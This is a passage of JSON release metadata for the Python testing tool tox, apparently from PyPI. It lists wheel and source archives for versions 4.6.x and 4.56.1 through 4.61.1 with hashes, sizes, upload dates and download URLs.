:false,"digests":{"blake2b_256":"606ad20d405fc6661902ff803a9fa048d8aae27597c3b5dc750369ded82d08f7","md5":"2d28e6e451712a2512ecbbfe66d692e8","sha256":"db1c2610802553189cf40de251661d066a635ee0ed9bf2a60093b5f1a7f36ef8"},"downloads":-1,"filename":"tox-4.56.1.tar.gz","has_sig":false,"md5_digest":"2d28e6e451712a2512ecbbfe66d692e8","packagetype":"sdist","python_version":"source","requires_python":">=3.10","size":283155,"upload_time":"2026-06-25T06:18:36","upload_time_iso_8601":"2026-06-25T06:18:36.802498Z","url":"https://files.pythonhosted.org/packages/60/6a/d20d405fc6661902ff803a9fa048d8aae27597c3b5dc750369ded82d08f7/tox-4.56.1.tar.gz","yanked":false,"yanked_reason":null}],"4.56.2":[{"comment_text":null,"core-metadata":{"sha256":"6a1c6c9e331d72c4ef8bad06f6f69178cd3ee50fd2c19a95737e66b0da746bac"},"digests":{"blake2b_256":"036634fdfb42ff381da15404bf8aa92b1b0e6ddad7263e4ec23bee3daf359d50","md5":"b4fd1169ae5c7a221fb7dcae0b19b6fc","sha256":"245b60f2610e126070b289a862d6288401a387147e86a30c9316cb0ab276137b"},"downloads":-1,"filename":"tox-4.56.2-py3-none-any.whl","has_sig":false,"md5_digest":"b4fd1169ae5c7a221fb7dcae0b19b6fc","packagetype":"bdist_wheel","python_version":"py3","requires_python":">=3.10","size":217329,"upload_time":"2026-07-07T02:11:15","upload_time_iso_8601":"2026-07-07T02:11:15.040760Z","url":"https://files.pythonhosted.org/packages/03/66/34fdfb42ff381da15404bf8aa92b1b0e6ddad7263e4ec23bee3daf359d50/tox-4.56.2-py3-none-any.whl","yanked":false,"yanked_reason":null},{"comment_text":null,"core-metadata":false,"digests":{"blake2b_256":"a4be0a4370df64b4610c653482dd55e0a6818fa31c551fce7659c253e3668638","md5":"60e18cad3aa7fbda083e78d2f7eaf16b","sha256":"346442f3982a5c1b792abcbc476a90f821031154251ea3506401c4c51c62cc2a"},"downloads":-1,"filename":"tox-4.56.2.tar.gz","has_sig":false,"md5_digest":"60e18cad3aa7fbda083e78d2f7eaf16b","packagetype":"sdist","python_version":"source","requires_python":">=3.10","size":286251,"upload_time":"2026-07-07T02:11:16","upload_time_iso_8601":"2026-07-07T02:11:16.729689Z","url":"https://files.pythonhosted.org/packages/a4/be/0a4370df64b4610c653482dd55e0a6818fa31c551fce7659c253e3668638/tox-4.56.2.tar.gz","yanked":false,"yanked_reason":null}],"4.56.3":[{"comment_text":null,"core-metadata":{"sha256":"e32d57b3b216eddcd32c7840632afcfed088ab1d68e9fe5dc398bd9f7e1b626e"},"digests":{"blake2b_256":"127cb32ea539fb2e3948f09c32c0c7b06543afd5c4a454b73cb31e11e90be461","md5":"f3f8aa6e088ae78c42769340e9bd7c76","sha256":"d3274970e82f8ec3e3a9d5acfa19ee507574193ead81f01d177e7f78edbe7746"},"downloads":-1,"filename":"tox-4.56.3-py3-none-any.whl","has_sig":false,"md5_digest":"f3f8aa6e088ae78c42769340e9bd7c76","packagetype":"bdist_wheel","python_version":"py3","requires_python":">=3.10","size":217461,"upload_time":"2026-07-08T17:02:19","upload_time_iso_8601":"2026-07-08T17:02:19.979762Z","url":"https://files.pythonhosted.org/packages/12/7c/b32ea539fb2e3948f09c32c0c7b06543afd5c4a454b73cb31e11e90be461/tox-4.56.3-py3-none-any.whl","yanked":false,"yanked_reason":null},{"comment_text":null,"core-metadata":false,"digests":{"blake2b_256":"c781b75cc8da0c83eb78fe9fcefb572ecd6f3ebdf5af46b9a04114c81f02db94","md5":"f88d9b98c619818ddb82d04a090fb332","sha256":"6eaaf5258114e736cca7ca8423e84234fce910b7889ea0fb92b1df28cb4c31aa"},"downloads":-1,"filename":"tox-4.56.3.tar.gz","has_sig":false,"md5_digest":"f88d9b98c619818ddb82d04a090fb332","packagetype":"sdist","python_version":"source","requires_python":">=3.10","size":286614,"upload_time":"2026-07-08T17:02:21","upload_time_iso_8601":"2026-07-08T17:02:21.726214Z","url":"https://files.pythonhosted.org/packages/c7/81/b75cc8da0c83eb78fe9fcefb572ecd6f3ebdf5af46b9a04114c81f02db94/tox-4.56.3.tar.gz","yanked":false,"yanked_reason":null}],"4.56.4":[{"comment_text":null,"core-metadata":{"sha256":"f9b4931d2a4dae7c9a48bd646631730bf1a721f7d2d29228fa3afdd23197209d"},"digests":{"blake2b_256":"f5f2d2e2b6969203c319165860ba93272cf12c71d42acff5acd2c84d7543b460","md5":"86824fb403085741783007e3c84da037","sha256":"53bac88382b9638a5ce40fbaddd6076e1c8f638751af7bf8e759392c953df2f0"},"downloads":-1,"filename":"tox-4.56.4-py3-none-any.whl","has_sig":false,"md5_digest":"86824fb403085741783007e3c84da037","packagetype":"bdist_wheel","python_version":"py3","requires_python":">=3.10","size":217458,"upload_time":"2026-07-08T23:59:05","upload_time_iso_8601":"2026-07-08T23:59:05.210951Z","url":"https://files.pythonhosted.org/packages/f5/f2/d2e2b6969203c319165860ba93272cf12c71d42acff5acd2c84d7543b460/tox-4.56.4-py3-none-any.whl","yanked":false,"yanked_reason":null},{"comment_text":null,"core-metadata":false,"digests":{"blake2b_256":"aafc903385f783a1d7b7670eb742654e8f6f109c7a5a65913f92dfee8d033ea7","md5":"05b3cb2f724a6a74c01f27a25cdee6aa","sha256":"d49e371119ebfafb15054ad7ccff3d03027ccb65195fae3ac656b431b5524055"},"downloads":-1,"filename":"tox-4.56.4.tar.gz","has_sig":false,"md5_digest":"05b3cb2f724a6a74c01f27a25cdee6aa","packagetype":"sdist","python_version":"source","requires_python":">=3.10","size":286611,"upload_time":"2026-07-08T23:59:07","upload_time_iso_8601":"2026-07-08T23:59:07.033831Z","url":"https://files.pythonhosted.org/packages/aa/fc/903385f783a1d7b7670eb742654e8f6f109c7a5a65913f92dfee8d033ea7/tox-4.56.4.tar.gz","yanked":false,"yanked_reason":null}],"4.57.0":[{"comment_text":null,"core-metadata":{"sha256":"afae871f5523fc73aff325a2986d8924d598a5407bdbbde4381e0de55443c91e"},"digests":{"blake2b_256":"4f5160df3181baa4ae491eb1d3998b0a7d221eb93ad8a6d43463a6fee648a02b","md5":"f0d50da6a1c839c5446aa847f942aeaf","sha256":"ede907fa911b55cbf1e7dc823a5b455a164755a172124675b811210676ba31c2"},"downloads":-1,"filename":"tox-4.57.0-py3-none-any.whl","has_sig":false,"md5_digest":"f0d50da6a1c839c5446aa847f942aeaf","packagetype":"bdist_wheel","python_version":"py3","requires_python":">=3.10","size":217717,"upload_time":"2026-07-17T21:13:06","upload_time_iso_8601":"2026-07-17T21:13:06.327022Z","url":"https://files.pythonhosted.org/packages/4f/51/60df3181baa4ae491eb1d3998b0a7d221eb93ad8a6d43463a6fee648a02b/tox-4.57.0-py3-none-any.whl","yanked":false,"yanked_reason":null},{"comment_text":null,"core-metadata":false,"digests":{"blake2b_256":"e92721c5edac636f3897c8aef1d000f77dded5c5f55302025419dbb5500e3a35","md5":"cbf18974f80a0d1437410b31f2cb564b","sha256":"b2f758011dfbad7be4b4cc39d2cae21deeb3c3c186e6d7a92d7630eade4218cf"},"downloads":-1,"filename":"tox-4.57.0.tar.gz","has_sig":false,"md5_digest":"cbf18974f80a0d1437410b31f2cb564b","packagetype":"sdist","python_version":"source","requires_python":">=3.10","size":287613,"upload_time":"2026-07-17T21:13:07","upload_time_iso_8601":"2026-07-17T21:13:07.713029Z","url":"https://files.pythonhosted.org/packages/e9/27/21c5edac636f3897c8aef1d000f77dded5c5f55302025419dbb5500e3a35/tox-4.57.0.tar.gz","yanked":false,"yanked_reason":null}],"4.57.1":[{"comment_text":null,"core-metadata":{"sha256":"7c994a4ee7baa648d39df9cc07b2671a469f0cc6f59cd203b8522e3e5dcdf10a"},"digests":{"blake2b_256":"8ad00f5565cfb849c3774877c26531ed2f7f36a7b63e6867308b9352ce059b66","md5":"f5e64bc22cf5a57c5ee0dc474cedc9fb","sha256":"0ad05a032ee62a458d9520e54d8b40411d3f1d918991fd8a49cb02d18773db28"},"downloads":-1,"filename":"tox-4.57.1-py3-none-any.whl","has_sig":false,"md5_digest":"f5e64bc22cf5a57c5ee0dc474cedc9fb","packagetype":"bdist_wheel","python_version":"py3","requires_python":">=3.10","size":217922,"upload_time":"2026-07-20T15:07:17","upload_time_iso_8601":"2026-07-20T15:07:17.681816Z","url":"https://files.pythonhosted.org/packages/8a/d0/0f5565cfb849c3774877c26531ed2f7f36a7b63e6867308b9352ce059b66/tox-4.57.1-py3-none-any.whl","yanked":false,"yanked_reason":null},{"comment_text":null,"core-metadata":false,"digests":{"blake2b_256":"2119af7639ec6d1bd4050371767ff02d3a3aeea587cad33fd8d98da8f8d9a451","md5":"09dc3d9e002589502e87a839e4971c0e","sha256":"80a929c58f4fb0b47267dad094336ba7c8dd929eea4cd45d537e02633d902f97"},"downloads":-1,"filename":"tox-4.57.1.tar.gz","has_sig":false,"md5_digest":"09dc3d9e002589502e87a839e4971c0e","packagetype":"sdist","python_version":"source","requires_python":">=3.10","size":287985,"upload_time":"2026-07-20T15:07:19","upload_time_iso_8601":"2026-07-20T15:07:19.495972Z","url":"https://files.pythonhosted.org/packages/21/19/af7639ec6d1bd4050371767ff02d3a3aeea587cad33fd8d98da8f8d9a451/tox-4.57.1.tar.gz","yanked":false,"yanked_reason":null}],"4.57.2":[{"comment_text":null,"core-metadata":{"sha256":"c2f1f4cf93626e34f3d33c4dfb99d61d0acff0d1d25a28582702f8b77a533eb9"},"digests":{"blake2b_256":"8bd7201d7adfd7372ff3354a39e85cb70f95e36b91aff6bcc5547155d6ea6a5c","md5":"5ba4447721109591eff514a9ce4070d2","sha256":"2c187558a0d336b5e658025649f3c0e61aad080fdc674740e213d93bd48506ee"},"downloads":-1,"filename":"tox-4.57.2-py3-none-any.whl","has_sig":false,"md5_digest":"5ba4447721109591eff514a9ce4070d2","packagetype":"bdist_wheel","python_version":"py3","requires_python":">=3.10","size":223298,"upload_time":"2026-07-21T01:15:24","upload_time_iso_8601":"2026-07-21T01:15:24.115186Z","url":"https://files.pythonhosted.org/packages/8b/d7/201d7adfd7372ff3354a39e85cb70f95e36b91aff6bcc5547155d6ea6a5c/tox-4.57.2-py3-none-any.whl","yanked":false,"yanked_reason":null},{"comment_text":null,"core-metadata":false,"digests":{"blake2b_256":"09c5511b56f901c9a2c47f081a53ff7929a20e69d010930710acb70ff1ac96d4","md5":"7f165e6c21a68015c1b32f69177663dc","sha256":"d23465ed07fd743f3b20b21a4991f4932ed4edb392bf32c0b9f7ce4415d2e89d"},"downloads":-1,"filename":"tox-4.57.2.tar.gz","has_sig":false,"md5_digest":"7f165e6c21a68015c1b32f69177663dc","packagetype":"sdist","python_version":"source","requires_python":">=3.10","size":296928,"upload_time":"2026-07-21T01:15:25","upload_time_iso_8601":"2026-07-21T01:15:25.841344Z","url":"https://files.pythonhosted.org/packages/09/c5/511b56f901c9a2c47f081a53ff7929a20e69d010930710acb70ff1ac96d4/tox-4.57.2.tar.gz","yanked":false,"yanked_reason":null}],"4.58.0":[{"comment_text":null,"core-metadata":{"sha256":"9594030b6cd419eda4146563b9731283ccd1ac19d02e95d89ed36f84ef7a8f83"},"digests":{"blake2b_256":"6b3d7ba55871e9d794d40b6c8424f2e5d1b267ea5d9a4bd2175e08b57960ba13","md5":"6ebd846ab3f1d72f06d2fb6f2df84267","sha256":"dcae21f5f015f3a67658e35644cce0d1aa0dedcd06f3927f95d84e1717f6cea5"},"downloads":-1,"filename":"tox-4.58.0-py3-none-any.whl","has_sig":false,"md5_digest":"6ebd846ab3f1d72f06d2fb6f2df84267","packagetype":"bdist_wheel","python_version":"py3","requires_python":">=3.10","size":223298,"upload_time":"2026-07-21T13:10:34","upload_time_iso_8601":"2026-07-21T13:10:34.731429Z","url":"https://files.pythonhosted.org/packages/6b/3d/7ba55871e9d794d40b6c8424f2e5d1b267ea5d9a4bd2175e08b57960ba13/tox-4.58.0-py3-none-any.whl","yanked":false,"yanked_reason":null},{"comment_text":null,"core-metadata":false,"digests":{"blake2b_256":"6e8e4d2b1b2a81f4de1cd4e54fa40df1ab5f9bb88fe2e37461fc44aba8f9d302","md5":"8008048cf81880b413568ebcb196a1d7","sha256":"ab0b126a04dd56bc18e6d216386db09335247f2289b54cf534deb5c4ae3a8d2e"},"downloads":-1,"filename":"tox-4.58.0.tar.gz","has_sig":false,"md5_digest":"8008048cf81880b413568ebcb196a1d7","packagetype":"sdist","python_version":"source","requires_python":">=3.10","size":296926,"upload_time":"2026-07-21T13:10:36","upload_time_iso_8601":"2026-07-21T13:10:36.622863Z","url":"https://files.pythonhosted.org/packages/6e/8e/4d2b1b2a81f4de1cd4e54fa40df1ab5f9bb88fe2e37461fc44aba8f9d302/tox-4.58.0.tar.gz","yanked":false,"yanked_reason":null}],"4.59.0":[{"comment_text":null,"core-metadata":{"sha256":"6dca4fa5081538448ec1444e4cea572179766e09793016c57b038aa0ef1c7a53"},"digests":{"blake2b_256":"ef73a4f73b888e2d01bf6fd3e3d8bd5112ba06bcb06a4d9a7d5318e9d2441169","md5":"807c7fe4a3ece311a36c26de98d411c3","sha256":"fa9a1c968503302544498a98e785e7f46e85d22e9d5bf9bcce1731c8f3ffae01"},"downloads":-1,"filename":"tox-4.59.0-py3-none-any.whl","has_sig":false,"md5_digest":"807c7fe4a3ece311a36c26de98d411c3","packagetype":"bdist_wheel","python_version":"py3","requires_python":">=3.10","size":226252,"upload_time":"2026-08-10T22:51:05","upload_time_iso_8601":"2026-08-10T22:51:05.211860Z","url":"https://files.pythonhosted.org/packages/ef/73/a4f73b888e2d01bf6fd3e3d8bd5112ba06bcb06a4d9a7d5318e9d2441169/tox-4.59.0-py3-none-any.whl","yanked":false,"yanked_reason":null},{"comment_text":null,"core-metadata":false,"digests":{"blake2b_256":"c75305e025c6fb8d81a2301d5775e63327bc037bdeda752017bfe4ac57424e15","md5":"a5c3f30f100cae8f1567f3b5792f611f","sha256":"5fa9d0d4d8137ec2b7ecc0f2777d9dc220cf2bfa21497941ee4af88dec8fa6d3"},"downloads":-1,"filename":"tox-4.59.0.tar.gz","has_sig":false,"md5_digest":"a5c3f30f100cae8f1567f3b5792f611f","packagetype":"sdist","python_version":"source","requires_python":">=3.10","size":301050,"upload_time":"2026-08-10T22:51:06","upload_time_iso_8601":"2026-08-10T22:51:06.807698Z","url":"https://files.pythonhosted.org/packages/c7/53/05e025c6fb8d81a2301d5775e63327bc037bdeda752017bfe4ac57424e15/tox-4.59.0.tar.gz","yanked":false,"yanked_reason":null}],"4.6.0":[{"comment_text":"","core-metadata":{"sha256":"471dc8b22cbfdf885b8ee8cbb953e8a9d24ce4b4547374d4f96a0adfc09593f1"},"digests":{"blake2b_256":"25a2bd10aec8c560e97fd6fc0ae044a42dc2d1095fdb3c56d8965ac68c69aa22","md5":"d4f2e71137c02ac796f438f723c8ddd1","sha256":"4874000453e637a87ca892f9744a2ab9a7d24064dad1b0ecbf5a4c3c146cc732"},"downloads":-1,"filename":"tox-4.6.0-py3-none-any.whl","has_sig":false,"md5_digest":"d4f2e71137c02ac796f438f723c8ddd1","packagetype":"bdist_wheel","python_version":"py3","requires_python":">=3.7","size":148930,"upload_time":"2023-06-05T14:55:53","upload_time_iso_8601":"2023-06-05T14:55:53.201632Z","url":"https://files.pythonhosted.org/packages/25/a2/bd10aec8c560e97fd6fc0ae044a42dc2d1095fdb3c56d8965ac68c69aa22/tox-4.6.0-py3-none-any.whl","yanked":false,"yanked_reason":null},{"comment_text":"","core-metadata":false,"digests":{"blake2b_256":"687606f36b366d5be74a1c870e381db14d7231ee140cbd859125e8d81da4ae55","md5":"41a11d536004bbd791d87de861ada521","sha256":"954f1f647f67f481d239a193288983242a6152b67503c4a56b19a4aafaa29736"},"downloads":-1,"filename":"tox-4.6.0.tar.gz","has_sig":false,"md5_digest":"41a11d536004bbd791d87de861ada521","packagetype":"sdist","python_version":"source","requires_python":">=3.7","size":170401,"upload_time":"2023-06-05T14:55:54","upload_time_iso_8601":"2023-06-05T14:55:54.737387Z","url":"https://files.pythonhosted.org/packages/68/76/06f36b366d5be74a1c870e381db14d7231ee140cbd859125e8d81da4ae55/tox-4.6.0.tar.gz","yanked":false,"yanked_reason":null}],"4.6.1":[{"comment_text":"","core-metadata":{"sha256":"de282480150dec41f190b2f31be36147b743b525b62a8253447324f843124ae5"},"digests":{"blake2b_256":"ac7825ccd23e1755e3d86a77272f1e5192a48a7333c4c4e79076c753d34da8ea","md5":"c4c82fbaadb644078edfecca964e9bf5","sha256":"b45c4927bd1b3d91d532fbae9d7ffb676ff2b4d2ae26ef93b41b3189d1eff860"},"downloads":-1,"filename":"tox-4.6.1-py3-none-any.whl","has_sig":false,"md5_digest":"c4c82fbaadb644078edfecca964e9bf5","packagetype":"bdist_wheel","python_version":"py3","requires_python":">=3.7","size":151972,"upload_time":"2023-06-15T23:54:35","upload_time_iso_8601":"2023-06-15T23:54:35.895708Z","url":"https://files.pythonhosted.org/packages/ac/78/25ccd23e1755e3d86a77272f1e5192a48a7333c4c4e79076c753d34da8ea/tox-4.6.1-py3-none-any.whl","yanked":false,"yanked_reason":null},{"comment_text":"","core-metadata":false,"digests":{"blake2b_256":"121feee0b32985ff5fd052783c39d990062a7474ae4d8ee6e8795117a94f16b1","md5":"205eed2bc93af19f54c9f99cb9f2b932","sha256":"bf71ff8ee08499d4a3db6b73e35ef8d0e4346a3bea84517245b1e4a09b9f0774"},"downloads":-1,"filename":"tox-4.6.1.tar.gz","has_sig":false,"md5_digest":"205eed2bc93af19f54c9f99cb9f2b932","packagetype":"sdist","python_version":"source","requires_python":">=3.7","size":172090,"upload_time":"2023-06-15T23:54:38","upload_time_iso_8601":"2023-06-15T23:54:38.334533Z","url":"https://files.pythonhosted.org/packages/12/1f/eee0b32985ff5fd052783c39d990062a7474ae4d8ee6e8795117a94f16b1/tox-4.6.1.tar.gz","yanked":false,"yanked_reason":null}],"4.6.2":[{"comment_text":"","core-metadata":{"sha256":"866d7b40d6e6675f4c2f5c0f6c00fbc75029c84c89f59490a143a62cbe274425"},"digests":{"blake2b_256":"3cd7092d1293f4bc30cd5c4532cdfb459c652b676f254750bb1fe04ec743c800","md5":"3b9effc394484f743f1802179307b556","sha256":"52241851a7b0cd7de07d6ef067a13b092d2a4f82fe9048efb2444aed1708d713"},"downloads":-1,"filename":"tox-4.6.2-py3-none-any.whl","has_sig":false,"md5_digest":"3b9effc394484f743f1802179307b556","packagetype":"bdist_wheel","python_version":"py3","requires_python":">=3.7","size":151996,"upload_time":"2023-06-17T01:10:38","upload_time_iso_8601":"2023-06-17T01:10:38.618678Z","url":"https://files.pythonhosted.org/packages/3c/d7/092d1293f4bc30cd5c4532cdfb459c652b676f254750bb1fe04ec743c800/tox-4.6.2-py3-none-any.whl","yanked":false,"yanked_reason":null},{"comment_text":"","core-metadata":false,"digests":{"blake2b_256":"1dc8965a461a5bdce62275ed274bf2acabe64f56a43bb9acedf035827eba0d84","md5":"5feef0d46c85c17c9a123b87335f8555","sha256":"58c7c2acce2f3d44cd1b359349557162336288ecf19ef53ccda89c9cee0ad9c4"},"downloads":-1,"filename":"tox-4.6.2.tar.gz","has_sig":false,"md5_digest":"5feef0d46c85c17c9a123b87335f8555","packagetype":"sdist","python_version":"source","requires_python":">=3.7","size":172333,"upload_time":"2023-06-17T01:10:40","upload_time_iso_8601":"2023-06-17T01:10:40.553503Z","url":"https://files.pythonhosted.org/packages/1d/c8/965a461a5bdce62275ed274bf2acabe64f56a43bb9acedf035827eba0d84/tox-4.6.2.tar.gz","yanked":false,"yanked_reason":null}],"4.6.3":[{"comment_text":"","core-metadata":{"sha256":"4d3089b0fd6c59ff318ff46edda57a4d2b315310e4198165b70dfc0f1ae32ed7"},"digests":{"blake2b_256":"f9af9cc05a65718ae73fb776cb00c76a7c7f21c09cff4d9aa28fb3de7bc52e56","md5":"3bc7d50fff3d922df16de6f0d3fe28f7","sha256":"2946a0bb38924c3a9f9575c7fb4ca1f4c11a7c69c61592f176778892155cb50c"},"downloads":-1,"filename":"tox-4.6.3-py3-none-any.whl","has_sig":false,"md5_digest":"3bc7d50fff3d922df16de6f0d3fe28f7","packagetype":"bdist_wheel","python_version":"py3","requires_python":">=3.7","size":152178,"upload_time":"2023-06-20T02:27:15","upload_time_iso_8601":"2023-06-20T02:27:15.039622Z","url":"https://files.pythonhosted.org/packages/f9/af/9cc05a65718ae73fb776cb00c76a7c7f21c09cff4d9aa28fb3de7bc52e56/tox-4.6.3-py3-none-any.whl","yanked":false,"yanked_reason":null},{"comment_text":"","core-metadata":false,"digests":{"blake2b_256":"b27b6cb14ae53aa80e57e9ac07431624a83d8f5b09af1284b5a3850fb09b8d4e","md5":"8b880f61baca84350877eff54acb72ea","sha256":"9e2c5091a117d03b583c57c4c40aecd068099c17d40520e7b165e85c19334534"},"downloads":-1,"filename":"tox-4.6.3.tar.gz","has_sig":false,"md5_digest":"8b880f61baca84350877eff54acb72ea","packagetype":"sdist","python_version":"source","requires_python":">=3.7","size":172585,"upload_time":"2023-06-20T02:27:17","upload_time_iso_8601":"2023-06-20T02:27:17.307127Z","url":"https://files.pythonhosted.org/packages/b2/7b/6cb14ae53aa80e57e9ac07431624a83d8f5b09af1284b5a3850fb09b8d4e/tox-4.6.3.tar.gz","yanked":false,"yanked_reason":null}],"4.6.4":[{"comment_text":"","core-metadata":{"sha256":"b345050c1836d110006841738b558a6baaa06e9f919316fae61b3aef1afa92ae"},"digests":{"blake2b_256":"45ffa9e20a27e0f4dce205a1a93e4f15256315709a203cbf414fe8ee1dde85ef","md5":"38d5b1cfd94ef8983c317c10d1df96f6","sha256":"1b8f8ae08d6a5475cad9d508236c51ea060620126fd7c3c513d0f5c7f29cc776"},"downloads":-1,"filename":"tox-4.6.4-py3-none-any.whl","has_sig":false,"md5_digest":"38d5b1cfd94ef8983c317c10d1df96f6","packagetype":"bdist_wheel","python_version":"py3","requires_python":">=3.7","size":152277,"upload_time":"2023-07-06T16:02:03","upload_time_iso_8601":"2023-07-06T16:02:03.377313Z","url":"https://files.pythonhosted.org/packages/45/ff/a9e20a27e0f4dce205a1a93e4f15256315709a203cbf414fe8ee1dde85ef/tox-4.6.4-py3-none-any.whl","yanked":false,"yanked_reason":null},{"comment_text":"","core-metadata":false,"digests":{"blake2b_256":"d758cd83a435d18a56f1a53a3f0025483a128fd92f30c68269a1c97c9cb2d880","md5":"5a580c52913ce2cf9c8dd085c537fb5a","sha256":"5e2ad8845764706170d3dcaac171704513cc8a725655219acb62fe4380bdadda"},"downloads":-1,"filename":"tox-4.6.4.tar.gz","has_sig":false,"md5_digest":"5a580c52913ce2cf9c8dd085c537fb5a","packagetype":"sdist","python_version":"source","requires_python":">=3.7","size":172650,"upload_time":"2023-07-06T16:02:05","upload_time_iso_8601":"2023-07-06T16:02:05.465516Z","url":"https://files.pythonhosted.org/packages/d7/58/cd83a435d18a56f1a53a3f0025483a128fd92f30c68269a1c97c9cb2d880/tox-4.6.4.tar.gz","yanked":false,"yanked_reason":null}],"4.60.0":[{"comment_text":null,"core-metadata":{"sha256":"3dc2153583a1c5b1432d94d7bfd610acab1fc2274241b4563c24a6b7ea7c571b"},"digests":{"blake2b_256":"fae63a1042add765c0e1e67f76a3b0f2036bfe6b0229ace83c6ff9638a5e391b","md5":"69a61f078f3387455f38f82c2ff8e40e","sha256":"175abbc4cdef615d66874c0843be4f44c353c14aab6d89939bb22246f84122bd"},"downloads":-1,"filename":"tox-4.60.0-py3-none-any.whl","has_sig":false,"md5_digest":"69a61f078f3387455f38f82c2ff8e40e","packagetype":"bdist_wheel","python_version":"py3","requires_python":">=3.10","size":226332,"upload_time":"2026-08-13T23:14:25","upload_time_iso_8601":"2026-08-13T23:14:25.324521Z","url":"https://files.pythonhosted.org/packages/fa/e6/3a1042add765c0e1e67f76a3b0f2036bfe6b0229ace83c6ff9638a5e391b/tox-4.60.0-py3-none-any.whl","yanked":false,"yanked_reason":null},{"comment_text":null,"core-metadata":false,"digests":{"blake2b_256":"9f1f3acba68301b0081cec87b1769ba4c3a4a0a30f20879a05420673c7e4671d","md5":"7d869d9745b5e66a0518e4dccbd23c61","sha256":"6f93bb580d35e00fc69cfec1116eecbe21155f747753ca5019374f7c69b2eac9"},"downloads":-1,"filename":"tox-4.60.0.tar.gz","has_sig":false,"md5_digest":"7d869d9745b5e66a0518e4dccbd23c61","packagetype":"sdist","python_version":"source","requires_python":">=3.10","size":301598,"upload_time":"2026-08-13T23:14:26","upload_time_iso_8601":"2026-08-13T23:14:26.944312Z","url":"https://files.pythonhosted.org/packages/9f/1f/3acba68301b0081cec87b1769ba4c3a4a0a30f20879a05420673c7e4671d/tox-4.60.0.tar.gz","yanked":false,"yanked_reason":null}],"4.60.1":[{"comment_text":null,"core-metadata":{"sha256":"c57f005ded2748bd49d1c5110699f16bbb4f6a769efe4b3e9c9f68f2e8136cef"},"digests":{"blake2b_256":"83d85ca808e8b2d98ac55e9141309c63b273caec25eb5bdaf3d7bf6d809903bc","md5":"4eccf46e1b04298e9c46a86e7858dcbf","sha256":"6f23a6417ad761b17c047e14b6e278968c09eb9b1fc00025269f82ec8327bc75"},"downloads":-1,"filename":"tox-4.60.1-py3-none-any.whl","has_sig":false,"md5_digest":"4eccf46e1b04298e9c46a86e7858dcbf","packagetype":"bdist_wheel","python_version":"py3","requires_python":">=3.10","size":226880,"upload_time":"2026-08-25T05:38:59","upload_time_iso_8601":"2026-08-25T05:38:59.194178Z","url":"https://files.pythonhosted.org/packages/83/d8/5ca808e8b2d98ac55e9141309c63b273caec25eb5bdaf3d7bf6d809903bc/tox-4.60.1-py3-none-any.whl","yanked":false,"yanked_reason":null},{"comment_text":null,"core-metadata":false,"digests":{"blake2b_256":"ecae05210c695efa7349af65aeb988604b15520eade3b6e2d43bdf44ce69b4b3","md5":"d4a02805a8209c906dc6a4be9b9423a1","sha256":"2611b77ebe06fa571ae2f4176eaf644115d08891befb9c7cb705cb038d5ab38e"},"downloads":-1,"filename":"tox-4.60.1.tar.gz","has_sig":false,"md5_digest":"d4a02805a8209c906dc6a4be9b9423a1","packagetype":"sdist","python_version":"source","requires_python":">=3.10","size":303833,"upload_time":"2026-08-25T05:39:00","upload_time_iso_8601":"2026-08-25T05:39:00.934857Z","url":"https://files.pythonhosted.org/packages/ec/ae/05210c695efa7349af65aeb988604b15520eade3b6e2d43bdf44ce69b4b3/tox-4.60.1.tar.gz","yanked":false,"yanked_reason":null}],"4.61.0":[{"comment_text":null,"core-metadata":{"sha256":"71965fa71aab3e6e4f641efe8965035fde49ed05e1a6facf8ee6aecc18beaf7e"},"digests":{"blake2b_256":"7035e3e51379fb577d8cb9eac43200d40f3f8e0195cc9d9e680e3184143a8312","md5":"dc242643178380d72eb6d998f1203abf","sha256":"2ff3c99da652b6d89cbfafc9a88336bc292696280163edf8261a40626b6a16d6"},"downloads":-1,"filename":"tox-4.61.0-py3-none-any.whl","has_sig":false,"md5_digest":"dc242643178380d72eb6d998f1203abf","packagetype":"bdist_wheel","python_version":"py3","requires_python":">=3.10","size":227858,"upload_time":"2026-08-28T21:58:45","upload_time_iso_8601":"2026-08-28T21:58:45.422164Z","url":"https://files.pythonhosted.org/packages/70/35/e3e51379fb577d8cb9eac43200d40f3f8e0195cc9d9e680e3184143a8312/tox-4.61.0-py3-none-any.whl","yanked":false,"yanked_reason":null},{"comment_text":null,"core-metadata":false,"digests":{"blake2b_256":"e4e99125b6ffad51f5cfee4a22d6d8c1e65d27cd2859f5a7566a3e9b501e2ca7","md5":"8684ada05bc2516110de515c9d14a48a","sha256":"d5b71ad2473ba00e7d691e0052a10f2fb9af2a747a02e2fa132d411a1f5f8acc"},"downloads":-1,"filename":"tox-4.61.0.tar.gz","has_sig":false,"md5_digest":"8684ada05bc2516110de515c9d14a48a","packagetype":"sdist","python_version":"source","requires_python":">=3.10","size":305943,"upload_time":"2026-08-28T21:58:47","upload_time_iso_8601":"2026-08-28T21:58:47.301037Z","url":"https://files.pythonhosted.org/packages/e4/e9/9125b6ffad51f5cfee4a22d6d8c1e65d27cd2859f5a7566a3e9b501e2ca7/tox-4.61.0.tar.gz","yanked":false,"yanked_reason":null}],"4.61.1":[{"comment_text":null,"core-metadata":{"sha256":"e03229e3f5342335a19ed5a0f3b4662e568eb81274d86ae4dd656e042d1185bb"},"digests":{"blake2b_256":"5a6d779b14c03ad40a2bfd4ba22316aa1153772fb72f3b1acde229130820518b","md5":"f97cbbf154bf2bf3c6a368f912ce074d","sha256":"90bf9cf074d38ab87bff1753183d96c07e9e99d04acc2230d21f42f7aa89d1c6"},"downloads":-1,"filename":"tox-4.61.1-py3-none-any.whl","has_sig":false,"md5_digest":"f97cbbf154bf2bf3c6a368f912ce074d","packagetype":"bdist_wheel","python_version":"py3","requires_python":">=3.10","size":227932,"upload_time":"2026-08-28T23:00:22","upload_time_iso_8601":"2026-08-28T23:00:22.189235Z","url":"https://files.pythonhosted.org/packages/5a/6d/779b14c03ad40a2bfd4ba22316aa1153772fb72f3b1acde229130820518b/tox-4.61.1-py3-none-any.whl","yanked":false,"yanked_reason":null},{"comment_text":null,"core-metadata":false,"digests":{"blake2b_256":"d604e24b26eebc152f497761387108996c241492b5ac0455ad7effac9fd7b2f2","md5":"dcd2522cbc5fc4c62d9818dd20be55f3","sha256":"d41ff6eb434d71763740ec90d869cb82688e6ff9204c913d8bea13fb75fc8f9a"},"downloads":-1,"filename":"tox-4.61.1.tar.gz","has_sig":false,"md5_digest":"dcd2522cbc5fc4c62d9818dd20be55f3","packagetype":"sdist","python_version":"source","requires_python":">=3.10","size":306574,"upload_time":"2026-08-28T23:00:23","upload_time_iso_8601":"2026-08-28T23:00:23.877884Z","url":"https://files.pythonhosted.org/packages/d6/04/e24b26eebc152f497761387108996c241492b5ac0455ad